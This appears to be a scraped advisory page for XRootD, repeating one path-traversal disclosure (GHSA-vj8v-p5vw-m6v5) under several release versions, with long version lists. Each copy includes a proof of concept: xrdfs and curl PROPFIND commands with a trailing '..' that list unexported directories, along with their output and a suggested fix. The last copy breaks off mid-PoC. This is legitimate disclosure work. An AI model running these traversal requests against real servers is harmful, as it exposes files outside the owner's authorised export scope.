

          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Dec 11, 2023

5.6.3 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Oct 27, 2023

5.6.2 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Sep 15, 2023

5.6.1 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Jul 11, 2023

5.6.0 minor

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Jun 30, 2023

5.5.5 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

May 08, 2023

5.5.4 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Mar 24, 2023

5.5.3 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Feb 17, 2023

5.5.2 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Feb 07, 2023

5.5.1 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
